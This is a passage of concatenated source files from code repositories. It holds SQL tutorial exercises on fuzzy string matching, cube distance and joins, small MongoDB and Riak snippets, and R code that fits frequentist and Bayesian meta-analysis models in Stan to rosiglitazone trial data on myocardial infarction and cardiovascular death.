metaphone(name, 6) = metaphone('<NAME>', 6);
-- Variety of metaphone/soundex representations
select name, dmetaphone(name), dmetaphone_alt(name), metaphone(name, 8), soundex(name) from actors;
-- Combining string maches
select * from actors where metaphone(name,8) % metaphone('<NAME>', 8)
order by levenshtein(lower('<NAME>'), lower(name));
-- A less effective example
select * from actors where dmetaphone(name) % dmetaphone('Ron');
-- Multidimensional Hypercube
select name, cube_ur_coord('(0,7,0,0,0,0,0,0,0,7,0,0,0,0,10,0,0,0)', position) as score
from genres g
where cube_ur_coord('(0,7,0,0,0,0,0,0,0,7,0,0,0,0,10,0,0,0)', position) > 0;
-- Order movies by distance from star wars.
select *, cube_distance(genre, '(0,7,0,0,0,0,0,0,0,7,0,0,0,0,10,0,0,0)') dist
from movies order by dist;
-- enlarge a cube (creating a bounding cube)
select cube_enlarge('(1,1)', 1, 2);
-- The contains operator, @>, to bound the search and improve performance
select title, cube_distance(genre, '(0,7,0,0,0,0,0,0,0,7,0,0,0,0,10,0,0,0)') dist
from movies
where cube_enlarge ('(0,7,0,0,0,0,0,0,0,7,0,0,0,0,10,0,0,0)'::cube, 5, 18) @> genre
order by dist;
-- subselect
select m.movie_id, m.title
from movies m, (select genre, title from movies where title = '<NAME>') s
where cube_enlarge(s.genre, 5, 18) @> m.genre and s.title <> m.title
order by cube_distance(m.genre, s.genre)
limit 10;
<file_sep>/mongodb/finalize.js
finalize = function(key, value) {
return {'total':value.count};
}
<file_sep>/riak/my_validators.js
function good_score(object) {
try {
var data = JSON.parse( object.values[0].data );
if (!data.score || data.score === '') {
throw('Score is required');
}
if (data.score < 1 || data.score > 4) {
throw('Score must be from 1 to 4');
}
} catch( message ) {
return { "fail" : message };
}
return object;
}<file_sep>/postgresql/day1_relations_crud_joins.sql
-- Day 1, Relations, CRUD, and Joins
create table countries (
country_code char(2) primary key,
country_name text unique
);
insert into countries (country_code, country_name)
values ('us','United States'), ('mx', 'Mexico'),
('au','Australia'),('gb','United Kingdom'),
('de','Germany'),('ll','Loompaland');
-- Test the table's unique constraint.
insert into countries values ('uk','United Kingdom');
--ERROR: duplicate key value violates unique constraint "countries_country_name_key"
--DETAIL: Key (country_name)=(United Kingdom) already exists.
-- Query for all countries
select * from countries;
-- Remove a fake country
delete from countries where country_code = 'll';
-- Create a table with a FK to countries
create table cities (
name text not null,
postal_code varchar(9) check (postal_code <> ''),
country_code char(2) references countries,
primary key (country_code, postal_code)
);
-- implicit index "cities_pkey" created
-- Test the FK constraint
insert into cities values ('Toronto', 'M4C1B5', 'ca');
--ERROR: insert or update on table "cities" violates foreign key constraint "cities_country_code_fkey"
--DETAIL: Key (country_code)=(ca) is not present in table "countries".
insert into cities values ('Portland', '87200', 'us');
-- Correct the wrong zip code we just inserted
update cities set postal_code = '97205' where name = 'Portland';
-- Join countries and cities
select cities.*, country_name from cities inner join countries
on cities.country_code = countries.country_code;
-- Create a table for venues
create table venues (
venue_id serial primary key,
name varchar(255),
street_address text,
type char(7) check (type in ('public', 'private')) default 'public',
postal_code varchar(9),
country_code char(2),
foreign key (country_code, postal_code)
references cities (country_code, postal_code) MATCH FULL
);
-- implicit sequence 'venues_venue_id_seq'
-- implicit index 'venues_pkey'
insert into venues (name, postal_code, country_code)
values ('Crystal Ballroom', '97205', 'us');
-- Compound join venues and cities
select v.venue_id, v.name, c.name from venues v inner join cities c
on v.postal_code=c.postal_code and v.country_code=c.country_code;
-- Perform an insert, immediately returning the auto-generated ID.
insert into venues (name, postal_code, country_code)
values ('Voodoo Donuts', '97205', 'us') returning venue_id;
-- Create events table
create table events (
event_id serial primary key,
title text,
starts timestamp,
ends timestamp,
venue_id integer references venues
);
-- implicit sequence 'events_event_id_seq'
-- implicit sequence 'events_venue_id_seq'
-- implicit index 'events_pkey'
insert into events (title, starts, ends, venue_id) values
('LARP Club', '2012-02-15 17:30', '2012-02-15 19:30', '2'),
('April Fools Day', '2012-04-01 00:00', '2012-04-01 23:59', NULL),
('Christmas Day', '2012-12-25 00:00', '2012-12-25 23:59', NULL);
-- Join events with venues
select e.title, v.name from events e join venues v
on e.venue_id = v.venue_id;
-- Outer join events with venues to show all events
select e.title, v.name from events e left join venues v
on e.venue_id = v.venue_id;
-- Create a hash index on event titles
create index events_title on events using hash (title);
select * from events where starts >= '2012-04-01';
-- Create a btree index to match range queries (like above)
create index event_starts on events using btree (starts); | f13f9a1ba2367f55d97f62159d576a53b69eee55 | [
"JavaScript",
"SQL"
] | 4 | SQL | plier/7-databases | 017b30f33b28690946fc4bef1881516d005ff917 | 28568432b133e531134fe44c58ef1c36225c0dc1 |
refs/heads/master | <repo_name>HwanheeHong/MetaAnalysis_RareEvents<file_sep>/MetaAnalysis_Rosiglitazone.R
#############################################
#############################################
######
###### Rosiglitazone data analysis
###### Author: <NAME> (<EMAIL>)
###### Last update: July 18, 2019
###### Related paper: Meta-Analysis of Rare Adverse Events in Randomized Clinical Trials: Bayesian and Frequentist Methods (2019+)
###### by <NAME>, <NAME>, and <NAME>
###### Data source: Nissen SE and Wolski K.
###### Rosiglitazone revisited: an updated meta-analysis of risk for myocardial infarction and cardiovascular mortality.
###### Archives of internal medicine. 2010;170(14):1191-1201.
######
###### This code is to fit meta-analysis models (frequentist and Bayesian) to the rosiglitazone data.
###### This code provides 15 log odds ratio (LORs), 13 log relative risks (LRRs), and 17 risk differences estimates.
###### Bayesian models are fitted using rstan. Stan needs to be installed.
###### For Bayesian model comparison, we estimate Watanabe-Akaike or widely applicable information criterion (WAIC).
######
###### This code produces 4 files:
###### (1) LOR, LRR, RD estimates (.csv)
###### (2) WAIC.txt
###### (3) Bayesian model results from Stan (.txt)
###### (4) Bayesian model diagnostic plots (.pdf)
######
#############################################
#############################################
###### Load packages
library(dplyr)
library(metafor)
library(data.table) ## rbindlist
library(ggplot2)
library(gridExtra)
library(cowplot) ## get_legend
library(loo) ## To calculate waic
#library(matrixStats) ## fit$BUGSoutput$sims.list
library(rstan)
rstan_options(auto_write = TRUE)
options(mc.cores = parallel::detectCores())
###### Set working directory
setwd("...")
source("AnalyzeData_Stan_Source.R")
source("Stan_models.R")
#### DATA should have the following variable names:
## Trial_ID: Actual trial ID
## n_rosi, n_ctl, y_rosi, y_ctl (e.g., y_rosi=MI_rosi or CVdeath_rosi)
#### outcome = MI or CV
#### dataset:
## 1=All studies (56 studies)
## 2=All studies except RECORD trial (55 studies)
## 3=Trials comparing rosiglitazone+X vs. X alone (42 studies)
## 4=Trials comparing rosiglitazone vs. placebo (13 studies)
DATA.raw <- read.table("RosiglitazoneData.csv",sep=",",header=T)
DATA1 <- DATA.raw
DATA2 <- DATA.raw[DATA.raw$Trial_ID!="RECORD trial",]
DATA3 <- DATA.raw[DATA.raw$Subgroup==1,]
DATA4 <- DATA.raw[DATA.raw$placebo==1,]
clean.data <- function(DATA){
MI <- DATA[,c("Trial_ID","n_rosi","n_ctl","MI_rosi","MI_ctl")]
CV <- DATA[,c("Trial_ID","n_rosi","n_ctl","CVdeath_rosi","CVdeath_ctl")]
colnames(MI) <- colnames(CV) <- c("Trial_ID","n_rosi","n_ctl","y_rosi","y_ctl")
output <- list(MI, CV)
names(output) <- c("MI", "CV")
return(output)
}
data1 <- clean.data(DATA1)
data2 <- clean.data(DATA2)
data3 <- clean.data(DATA3)
data4 <- clean.data(DATA4)
######
###### Run models
######
res.MI1 <- AnalyzeData(data1$MI, outcome="MI", dataset=1, niter=50000, nburnin=20000)
#res.CV1 <- AnalyzeData(data1$CV, outcome="CV", dataset=1, niter=50000, nburnin=20000)
#res.MI2 <- AnalyzeData(data2$MI, outcome="MI", dataset=2, niter=50000, nburnin=20000)
#res.CV2 <- AnalyzeData(data2$CV, outcome="CV", dataset=2, niter=50000, nburnin=20000)
#res.MI3 <- AnalyzeData(data3$MI, outcome="MI", dataset=3, niter=50000, nburnin=20000)
#res.CV3 <- AnalyzeData(data3$CV, outcome="CV", dataset=3, niter=50000, nburnin=20000)
#res.MI4 <- AnalyzeData(data4$MI, outcome="MI", dataset=4, niter=50000, nburnin=20000)
#res.CV4 <- AnalyzeData(data4$CV, outcome="CV", dataset=4, niter=50000, nburnin=20000)
######
###### WAIC Table
######
sink("WAIC.txt", append=FALSE)
cat("\n","\n","#### Outcome=MI; Data1; Logit ####","\n","\n")
format(res.MI1$LOR[res.MI1$LOR$col.group=="Bayesian", c("elpd_waic", "p_waic", "waic")], nsmall=1)
#cat("\n","\n","#### Outcome=MI; Data2; Logit ####","\n","\n")
#format(res.MI2$LOR[res.MI2$LOR$col.group=="Bayesian", c("elpd_waic", "p_waic", "waic")], nsmall=1)
#cat("\n","\n","#### Outcome=MI; Data3; Logit ####","\n","\n")
#format(res.MI3$LOR[res.MI3$LOR$col.group=="Bayesian", c("elpd_waic", "p_waic", "waic")], nsmall=1)
#cat("\n","\n","#### Outcome=MI; Data4; Logit ####","\n","\n")
#format(res.MI4$LOR[res.MI4$LOR$col.group=="Bayesian", c("elpd_waic", "p_waic", "waic")], nsmall=1)
#cat("\n","\n")
#cat("\n","\n","#### Outcome=CV; Data1; Logit ####","\n","\n")
#format(res.CV1$LOR[res.CV1$LOR$col.group=="Bayesian", c("elpd_waic", "p_waic", "waic")], nsmall=1)
#cat("\n","\n","#### Outcome=CV; Data2; Logit ####","\n","\n")
#format(res.CV2$LOR[res.CV2$LOR$col.group=="Bayesian", c("elpd_waic", "p_waic", "waic")], nsmall=1)
#cat("\n","\n","#### Outcome=CV; Data3; Logit ####","\n","\n")
#format(res.CV3$LOR[res.CV3$LOR$col.group=="Bayesian", c("elpd_waic", "p_waic", "waic")], nsmall=1)
#cat("\n","\n","#### Outcome=CV; Data4; Logit ####","\n","\n")
#format(res.CV4$LOR[res.CV4$LOR$col.group=="Bayesian", c("elpd_waic", "p_waic", "waic")], nsmall=1)
cat("\n","\n")
cat("\n","\n","#### Outcome=MI; Data1; Log ####","\n","\n")
format(res.MI1$LRR[res.MI1$LRR$col.group=="Bayesian", c("elpd_waic", "p_waic", "waic")], nsmall=1)
#cat("\n","\n","#### Outcome=MI; Data2; Log ####","\n","\n")
#format(res.MI2$LRR[res.MI2$LRR$col.group=="Bayesian", c("elpd_waic", "p_waic", "waic")], nsmall=1)
#cat("\n","\n","#### Outcome=MI; Data3; Log ####","\n","\n")
#format(res.MI3$LRR[res.MI3$LRR$col.group=="Bayesian", c("elpd_waic", "p_waic", "waic")], nsmall=1)
#cat("\n","\n","#### Outcome=MI; Data4; Log ####","\n","\n")
#format(res.MI4$LRR[res.MI4$LRR$col.group=="Bayesian", c("elpd_waic", "p_waic", "waic")], nsmall=1)
#cat("\n","\n")
#cat("\n","\n","#### Outcome=CV; Data1; Log ####","\n","\n")
#format(res.CV1$LRR[res.CV1$LRR$col.group=="Bayesian", c("elpd_waic", "p_waic", "waic")], nsmall=1)
#cat("\n","\n","#### Outcome=CV; Data2; Log ####","\n","\n")
#format(res.CV2$LRR[res.CV2$LRR$col.group=="Bayesian", c("elpd_waic", "p_waic", "waic")], nsmall=1)
#cat("\n","\n","#### Outcome=CV; Data3; Log ####","\n","\n")
#format(res.CV3$LRR[res.CV3$LRR$col.group=="Bayesian", c("elpd_waic", "p_waic", "waic")], nsmall=1)
#cat("\n","\n","#### Outcome=CV; Data4; Log ####","\n","\n")
#format(res.CV4$LRR[res.CV4$LRR$col.group=="Bayesian", c("elpd_waic", "p_waic", "waic")], nsmall=1)
sink()
<file_sep>/AnalyzeData_Stan_Source.R
#############################################
#############################################
######
###### Rosiglitazone data analysis
###### Author: <NAME> (<EMAIL>)
###### Last update: July 18, 2019
###### Related paper: Meta-Analysis of Rare Adverse Events in Randomized Clinical Trials: Bayesian and Frequentist Methods (2019+)
###### by <NAME>, <NAME>, and <NAME>
###### Data source: Nissen SE and Wolski K.
###### Rosiglitazone revisited: an updated meta-analysis of risk for myocardial infarction and cardiovascular mortality.
###### Archives of internal medicine. 2010;170(14):1191-1201.
######
###### Source file associated with MetaAnalysis_Rosiglitazone.R
###### This source file includes user-written function to fit frequentist and Bayesian meta-analysis models.
######
#############################################
#############################################
###### Basic calculation functions
## pc = probability (risk) in control group
## pa = probability (risk) in active group
OR.cal <- function(pc, pa) {
OR <- (pa/(1-pa)) / (pc/(1-pc))
return(OR)
}
RR.cal <- function(pc, pa) {
RR <- pa/pc
return(RR)
}
RD.cal <- function(pc, pa) {
RD <- pa-pc
return(RD)
}
expit <- function(p) { exp(p)/(1+exp(p)) }
q.025<-function(x){quantile(x, probs = 0.025)}
q.975<-function(x){quantile(x, probs = 0.975)}
#### Save results for naive estimator
## For Data Analysis (DA)
output.pool.DA <- function(mod, measure, const, est, se){
low <- est - const*se
up <- est + const*se
width <- up - low
tau <- NA
res <- c(est, se, low, up, width, tau, rep(NA,6))
names(res) <- paste(measure,".",c("e","se","low","up","width","tau","elpd_waic", "p_waic", "waic", "se_elpd_waic", "se_p_waic", "se_waic"),".",mod,sep="")
return(res)
}
output.pool.RE.DA <- function(mod, measure, const, est, se, tau){
low <- est - const*se
up <- est + const*se
width <- up - low
tau <- tau
res <- c(est, se, low, up, width, tau, rep(NA,6))
names(res) <- paste(measure,".",c("e","se","low","up","width","tau","elpd_waic", "p_waic", "waic", "se_elpd_waic", "se_p_waic", "se_waic"),".",mod,sep="")
return(res)
}
#### Save results for frequentist models (fixed effect)
## For Data Analysis (DA)
output.FE.DA <- function(mod,measure,res) {
if(length(res)>1) {
out <- c(res$b, res$se, res$ci.lb, res$ci.ub,
res$ci.ub-res$ci.lb, NA, rep(NA,6))
}
else if(length(res)<=1) {
out <- rep(NA,12)
}
names(out) <- paste(measure,".",c("e","se","low","up","width","tau","elpd_waic", "p_waic", "waic", "se_elpd_waic", "se_p_waic", "se_waic"),".",mod,sep="")
return(out)
}
#### Save results for frequentist models (random effect)
output.RE.DA <- function(mod,measure,res) {
if(length(res)>1) {
out <- c(res$b, res$se, res$ci.lb, res$ci.ub,
res$ci.ub-res$ci.lb, sqrt(res$tau2), rep(NA,6))
}
else if(length(res)<=1) {
out <- rep(NA,12)
}
names(out) <- paste(measure,".",c("e","se","low","up","width","tau","elpd_waic", "p_waic", "waic", "se_elpd_waic", "se_p_waic", "se_waic"),".",mod,sep="")
return(out)
}
#### Save results for Bayesian models with waic (fixed effect)
####
output.Bayes.cte.DA <- function(mod, measure, mcmc, loglik){
est <- median(mcmc)
se <- sd(mcmc)
low <- q.025(mcmc)
up <- q.975(mcmc)
width <- up - low
tau <- NA
waic <- waic(loglik)
waic <- unlist(waic)[c("elpd_waic", "p_waic", "waic", "se_elpd_waic", "se_p_waic", "se_waic")]
res <- c(est, se, low, up, width, tau, waic)
names(res) <- paste(measure,".",c("e","se","low","up","width","tau","elpd_waic", "p_waic", "waic", "se_elpd_waic", "se_p_waic", "se_waic"),".",mod,sep="")
return(res)
}
#### Save rsults for Bayesian models with waic (random effect)
output.Bayes.hte.DA <- function(mod, measure, mcmc, tau.mcmc, loglik){
est <- median(mcmc)
se <- sd(mcmc)
low <- q.025(mcmc)
up <- q.975(mcmc)
width <- up - low
tau <- median(tau.mcmc)
waic <- waic(loglik)
waic <- unlist(waic)[c("elpd_waic", "p_waic", "waic", "se_elpd_waic", "se_p_waic", "se_waic")]
res <- c(est, se, low, up, width, tau, waic)
names(res) <- paste(measure,".",c("e","se","low","up","width","tau", "elpd_waic", "p_waic", "waic", "se_elpd_waic", "se_p_waic", "se_waic"),".",mod,sep="")
return(res)
}
#### Analyze NW data for CT revision
#### DATA should have the following variable names:
## Trial_ID: Actual trial ID
## n_rosi, n_ctl, y_rosi, y_ctl (e.g., y_rosi=MI_rosi or CVdeath_rosi)
#### outcome = MI or CV
#### dataset:
## 1=All studies (56 studies)
## 2=All studies except RECORD trial (55 studies)
## 3=Trials comparing rosiglitazone+X vs. X alone (42 studies)
## 4=Trials comparing rosiglitazone vs. placebo (13 studies)
AnalyzeData <- function(DATA, outcome, dataset, niter, nburnin){
###### Modify data structure
data <- DATA %>%
rename(nc=n_ctl, na=n_rosi, ea=y_rosi, ec=y_ctl) %>%
mutate(study = 1:n(),
ec_cc1 = ifelse(ec==0 | ea==0, ec+0.5, ec),
ea_cc1 = ifelse(ec==0 | ea==0, ea+0.5, ea),
nc_cc1 = ifelse(ec==0 | ea==0, nc+1, nc),
na_cc1 = ifelse(ec==0 | ea==0, na+1, na))
data.l <- data.frame(rbindlist( list(cbind(data[,c("Trial_ID","study","nc","ec")],1), cbind(data[,c("Trial_ID","study","na","ea")],2))))
colnames(data.l) <- c("Trial_ID","study","n","y","t")
###### Frequentist models ######
###### 1. Naive
a <- sum(data$ec)
b <- sum(data$nc) - a
c <- sum(data$ea)
d <- sum(data$na) - c
#### 1a. LOR
lor.e.naive <- log(OR.cal( pc=a/(a+b), pa=c/(c+d) ))
lor.se.naive <- sqrt( 1/a + 1/b + 1/c + 1/d )
lor.res.naive <- output.pool.DA(mod="naive", measure="lor", const=1.96, est=lor.e.naive, se=lor.se.naive)
#### 1b. LRR
lrr.e.naive <- log(RR.cal( pc=a/(a+b), pa=c/(c+d) ))
lrr.se.naive <- sqrt( 1/c + 1/a - 1/(a+b) - 1/(c+d) )
lrr.res.naive <- output.pool.DA(mod="naive", measure="lrr", const=1.96, est=lrr.e.naive, se=lrr.se.naive)
#### 1c. RD
rd.e.naive <- c/(c+d) - a/(a+b)
rd.se.naive <- sqrt( a*b/(a+b)^3 + c*d/(c+d)^3 )
rd.res.naive <- output.pool.DA(mod="naive", measure="rd", const=1.96, est=rd.e.naive, se=rd.se.naive)
###### 2. Peto
#### 2a. LOR
lor.res.peto <- output.FE.DA(mod="peto",measure="lor",
res=try(rma.peto(ai=ea, ci=ec, n1i=na, n2i=nc, data=data)))
###### 3. MH (no data modification)
#### 3a. LOR
lor.res.mh <- output.FE.DA(mod="mh",measure="lor",
res=try(rma.mh(ai=ea, ci=ec, n1i=na, n2i=nc, measure="OR",data=data,correct=F)))
#### 3b. LRR
lrr.res.mh <- output.FE.DA(mod="mh",measure="lrr",
res=try(rma.mh(ai=ea, ci=ec, n1i=na, n2i=nc, measure="RR",data=data,correct=F)))
#### 3c. RD
rd.res.mh <- output.FE.DA(mod="mh",measure="rd",
res=try(rma.mh(ai=ea, ci=ec, n1i=na, n2i=nc, measure="RD",data=data,correct=F)))
###### 4. MH (data modification; add 0.5 to zero cells)
#### 4a. LOR
lor.res.mhdm <- output.FE.DA(mod="mhdm",measure="lor",
res=try(rma.mh(ai=ea_cc1, ci=ec_cc1, n1i=na_cc1, n2i=nc_cc1, measure="OR",data=data,correct=F)))
#### 4b. LRR
lrr.res.mhdm <- output.FE.DA(mod="mhdm",measure="lrr",
res=try(rma.mh(ai=ea_cc1, ci=ec_cc1, n1i=na_cc1, n2i=nc_cc1, measure="RR",data=data,correct=F)))
#### 4c. RD
rd.res.mhdm <- output.FE.DA(mod="mhdm",measure="rd",
res=try(rma.mh(ai=ea_cc1, ci=ec_cc1, n1i=na_cc1, n2i=nc_cc1, measure="RD",data=data,correct=F)))
###### 5. IV, fixed effect (data modification has been implemented in the code; add 0.5 to zero cells)
#### 5a. LOR
lor.res.ivfe <- output.FE.DA(mod="ivfe",measure="lor",
res=try(rma(ai=ea, ci=ec, n1i=na, n2i=nc, measure="OR",data=data,method="FE")))
#### 5b. LRR
lrr.res.ivfe <- output.FE.DA(mod="ivfe",measure="lrr",
res=try(rma(ai=ea, ci=ec, n1i=na, n2i=nc, measure="RR",data=data,method="FE")))
#### 5c. RD
rd.res.ivfe <- output.FE.DA(mod="ivfe",measure="rd",
res=try(rma(ai=ea, ci=ec, n1i=na, n2i=nc, measure="RD",data=data,method="FE")))
###### 6. IV, random effect DL (data modification has been implemented in the code; add 0.5 to zero cells)
#### 6a. LOR
lor.res.ivre <- output.RE.DA(mod="ivre",measure="lor",
res=try(rma(ai=ea, ci=ec, n1i=na, n2i=nc, measure="OR",data=data,method="DL")))
#### 6b. LRR
lrr.res.ivre <- output.RE.DA(mod="ivre",measure="lrr",
res=try(rma(ai=ea, ci=ec, n1i=na, n2i=nc, measure="RR",data=data,method="DL")))
#### 6c. RD
rd.res.ivre <- output.RE.DA(mod="ivre",measure="rd",
res=try(rma(ai=ea, ci=ec, n1i=na, n2i=nc, measure="RD",data=data,method="DL")))
###### 7. Shuster unweighted (Shuster et al. 2012 RSM)
#### 1 = control; 2= active; p1j=risk in control in study j (hat); p1=mean of p1j
M <- nrow(data)
p1j <- data$ec/data$nc
p2j <- data$ea/data$na
p1 <- sum(p1j)/M
p2 <- sum(p2j)/M
c11 <- sum((p1j-p1)^2)/(M-1)
c22 <- sum((p2j-p2)^2)/(M-1)
c12 <- sum((p1j-p1)*(p2j-p2))/(M-1)
#### 7a. LOR
Q <- c11/((p1*(1-p1))^2)
R <- c22/((p2*(1-p2))^2)
S <- c12/(p1*p2*(1-p1)*(1-p2))
tval <- qt(0.975, M-1)
lor.e.sgsunwgt <- log(OR.cal( pc=p1, pa=p2 ))
lor.se.sgsunwgt <- sqrt( (Q+R-2*S)/M )
lor.res.sgsunwgt <- output.pool.DA(mod="sgsunwgt", measure="lor", const=tval, est=lor.e.sgsunwgt, se=lor.se.sgsunwgt)
#### 7b. LRR
Q <- c11/(p1^2)
R <- c22/(p2^2)
S <- c12/(p1*p2)
tval <- qt(0.975, M-1)
lrr.e.sgsunwgt <- log(RR.cal( pc=p1, pa=p2 ))
lrr.se.sgsunwgt <- sqrt( (Q+R-2*S)/M )
lrr.res.sgsunwgt <- output.pool.DA(mod="sgsunwgt", measure="lrr", const=tval, est=lrr.e.sgsunwgt, se=lrr.se.sgsunwgt)
#### 7c. RD
Q <- c11
R <- c22
S <- c12
tval <- qt(0.975, M-1)
rd.e.sgsunwgt <- p2-p1
rd.se.sgsunwgt <- sqrt( (Q+R-2*S)/M )
rd.res.sgsunwgt <- output.pool.DA(mod="sgsunwgt", measure="rd", const=tval, est=rd.e.sgsunwgt, se=rd.se.sgsunwgt)
###### 8. Shuster weighted (Shuster et al. 2012 RSM)
M <- nrow(data)
p1j <- data$ec/data$nc
p2j <- data$ea/data$na
uj <- (data$nc + data$na)/2
u <- mean(uj)
A1j <- p1j*uj; B1j <- (1-p1j)*uj
A2j <- p2j*uj; B2j <- (1-p2j)*uj
A1 <- mean(A1j); B1 <- mean(B1j)
A2 <- mean(A2j); B2 <- mean(B2j)
sA1 <-sd(A1j); sB1 <- sd(B1j)
sA2 <-sd(A2j); sB2 <- sd(B2j)
cA1B1 <- cov(A1j, B1j)
cA1B2 <- cov(A1j, B2j)
cA1A2 <- cov(A1j, A2j)
cA2B1 <- cov(A2j, B1j)
cA2B2 <- cov(A2j, B2j)
cB1B2 <- cov(B1j, B2j)
#### 8a. LOR
lor.e.sgswgt <- log((A2*B1)/(A1*B2))
lor.var.sgswgt <- ( (sA1/A1)^2 + (sA2/A2)^2 + (sB1/B1)^2 + (sB2/B2)^2 + 2*(cA1B2/(A1*B2)) + 2*(cA2B1/(A2*B1)) - 2*(cA1A2/(A1*A2)) - 2*(cB1B2/(B1*B2)) - 2*(cA1B1/(A1*B1)) - 2*(cA2B2/(A2*B2)) )/M
tval <- qt(0.975, M-2)
lor.res.sgswgt <- output.pool.DA(mod="sgswgt", measure="lor", const=tval, est=lor.e.sgswgt, se=sqrt(lor.var.sgswgt))
#### 8b. LRR
lrr.e.sgswgt <- log(A2/A1)
lrr.var.sgswgt <- ( (sA1/A1)^2 + (sA2/A2)^2 - 2*(cA1A2/(A1*A2)) )/M
tval <- qt(0.975, M-2)
lrr.res.sgswgt <- output.pool.DA(mod="sgswgt", measure="lrr", const=tval, est=lrr.e.sgswgt, se=sqrt(lrr.var.sgswgt))
#### 8c. RD
Dj <- A2j - A1j
D <- mean(Dj)
tval <- qt(0.975, M-2)
rd.e.sgswgt <- D/u
rd.var.sgswgt <- ( (var(Dj)/u^2) + (var(uj)*D^2/u^4) - 2*(D*cov(Dj, uj)/u^3))/M
rd.res.sgswgt <- output.pool.DA(mod="sgswgt", measure="rd", const=tval, est=rd.e.sgswgt, se=sqrt(rd.var.sgswgt))
###### 9. Simple average (Bhaumik et al. 2012 JASA) with tau_DSL (add 0.5 to every cells!!)
#### 9a. LOR
k <- nrow(data)
pcihat <- (data$ec+0.5)/(data$nc+1)
paihat <- (data$ea+0.5)/(data$na+1)
lori <- log(OR.cal(pcihat, paihat))
lor.e.sa <- mean(lori)
## Calculate tau_DSL
var0i <- 1/(data$na*paihat*(1-paihat)) + 1/(data$nc*pcihat*(1-pcihat))
w0i <- 1/var0i
sa.w0 <- sum(w0i*lori)/sum(w0i)
Q <- sum(w0i*(lori-sa.w0)^2)
var.dsl <- (Q-(k-1))/(sum(w0i) - (sum(w0i^2))/(sum(w0i)) )
tau.dsl <- ifelse(var.dsl>0, sqrt(var.dsl), 0)
lor.vari <- var0i + tau.dsl
lor.se.sa <- sqrt(sum(lor.vari)/k^2)
tval <- qt(0.975, k-1)
lor.res.sa <- output.pool.RE.DA(mod="sa", measure="lor", const=tval, est=lor.e.sa, se=lor.se.sa, tau=tau.dsl)
###### Bayesian models using Stan ######
###### Bayesian models don't use data modification ######
#niter <- 50000
#nburnin <- 20000
nchains <- 2
nthin <- 1
NS <- nrow(data)
s <- data$study
ec <- data$ec
ea <- data$ea
nc <- data$nc
na <- data$na
###### 1. CTE-vague
#### 1a. LOR & RD.logit
stan.data <- list("NS"=NS, "s"=s, "ec"=ec, "ea"=ea, "nc"=nc, "na"=na)
stan.params <- c("lor", "rd", "log_lik")
stan.fit <- NULL
stan.fit <- stan(model_code=ctelogit.stan, data=stan.data, pars=stan.params, seed=752346,
chains=nchains, iter=niter, warmup=nburnin, control = list(adapt_delta = 0.99))
sink(paste("Print_stan_fit_",outcome,dataset,".txt",sep=""), append=TRUE)
cat("\n","\n","#### Model: ctevaguelogit ####","\n","\n")
print(stan.fit, par=c("lor", "rd"), digits=4)
sink()
pdf(file=paste("diag_ctevaguelogit_",outcome,dataset,".pdf",sep=""), onefile=TRUE)
pairs(stan.fit, pars=c("lor", "lp__"))
print(traceplot(stan.fit, pars=c("lor", "rd"), nrow=2, inc_warmup=TRUE))
dev.off()
fit.mcmc <- extract(stan.fit, permuted=TRUE)
lor.mcmc <- fit.mcmc$lor
rd.mcmc <- fit.mcmc$rd
#loglik.mcmc <- extract_log_lik(stan.fit)
loglik.mcmc <- fit.mcmc$log_lik
lor.res.ctevaguelogit <- output.Bayes.cte.DA(mod="ctevaguelogit",measure="lor",mcmc=lor.mcmc, loglik=loglik.mcmc)
rd.res.ctevaguelogit <- output.Bayes.cte.DA(mod="ctevaguelogit",measure="rd", mcmc=rd.mcmc, loglik=loglik.mcmc)
#### 1b. LRR & RD.log
stan.data <- list("NS"=NS, "s"=s, "ec"=ec, "ea"=ea, "nc"=nc, "na"=na)
stan.params <- c("lrr", "rd", "log_lik")
stan.fit <- NULL
stan.fit <- stan(model_code=ctelog.stan, data=stan.data, pars=stan.params, seed=752346,
chains=nchains, iter=niter, warmup=nburnin, control = list(adapt_delta = 0.99))
sink(paste("Print_stan_fit_",outcome,dataset,".txt",sep=""), append=TRUE)
cat("\n","\n","#### Model: ctevaguelog ####","\n","\n")
print(stan.fit, par=c("lrr", "rd"), digits=4)
sink()
pdf(file=paste("diag_ctevaguelog_",outcome,dataset,".pdf",sep=""))
pairs(stan.fit, pars=c("lrr", "lp__"))
print(traceplot(stan.fit, pars=c("lrr", "rd"), nrow=2, inc_warmup=TRUE))
dev.off()
fit.mcmc <- extract(stan.fit, permuted=TRUE)
lrr.mcmc <- fit.mcmc$lrr
rd.mcmc <- fit.mcmc$rd
loglik.mcmc <- fit.mcmc$log_lik
lrr.res.ctevaguelog <- output.Bayes.cte.DA(mod="ctevaguelog",measure="lrr", mcmc=lrr.mcmc, loglik=loglik.mcmc)
rd.res.ctevaguelog <- output.Bayes.cte.DA(mod="ctevaguelog",measure="rd", mcmc=rd.mcmc, loglik=loglik.mcmc)
###### 2. HTE-vague
#### 2a. LOR & RD.logit
stan.data <- list("NS"=NS, "s"=s, "ec"=ec, "ea"=ea, "nc"=nc, "na"=na)
stan.params <- c("lor", "rd", "tau","log_lik")
stan.fit <- NULL
stan.fit <- stan(model_code=htelogit.stan, data=stan.data, pars=stan.params, seed=752346,
chains=nchains, iter=niter, warmup=nburnin, control = list(adapt_delta = 0.99))
sink(paste("Print_stan_fit_",outcome,dataset,".txt",sep=""), append=TRUE)
cat("\n","\n","#### Model: htevaguelogit ####","\n","\n")
print(stan.fit, par=c("lor", "rd", "tau"), digits=4)
sink()
pdf(file=paste("diag_htevaguelogit_",outcome,dataset,".pdf",sep=""))
pairs(stan.fit, pars=c("lor", "tau", "lp__"))
print(traceplot(stan.fit, pars=c("lor", "rd", "tau"), nrow=3, inc_warmup=TRUE))
dev.off()
fit.mcmc <- extract(stan.fit, permuted=TRUE)
lor.mcmc <- fit.mcmc$lor
rd.mcmc <- fit.mcmc$rd
tau.mcmc <- fit.mcmc$tau
loglik.mcmc <- fit.mcmc$log_lik
lor.res.htevaguelogit <- output.Bayes.hte.DA(mod="htevaguelogit",measure="lor", mcmc=lor.mcmc, tau.mcmc=tau.mcmc, loglik=loglik.mcmc)
# we don't estimate tau for RD
rd.res.htevaguelogit <- output.Bayes.cte.DA(mod="htevaguelogit",measure="rd", mcmc=rd.mcmc, loglik=loglik.mcmc)
#### 2b. LRR & RD.log
stan.data <- list("NS"=NS, "s"=s, "ec"=ec, "ea"=ea, "nc"=nc, "na"=na)
stan.params <- c("lrr", "rd", "tau","log_lik")
stan.fit <- NULL
stan.fit <- stan(model_code=htelog.stan, data=stan.data, pars=stan.params, seed=752346,
chains=nchains, iter=niter, warmup=nburnin, control = list(adapt_delta = 0.99))
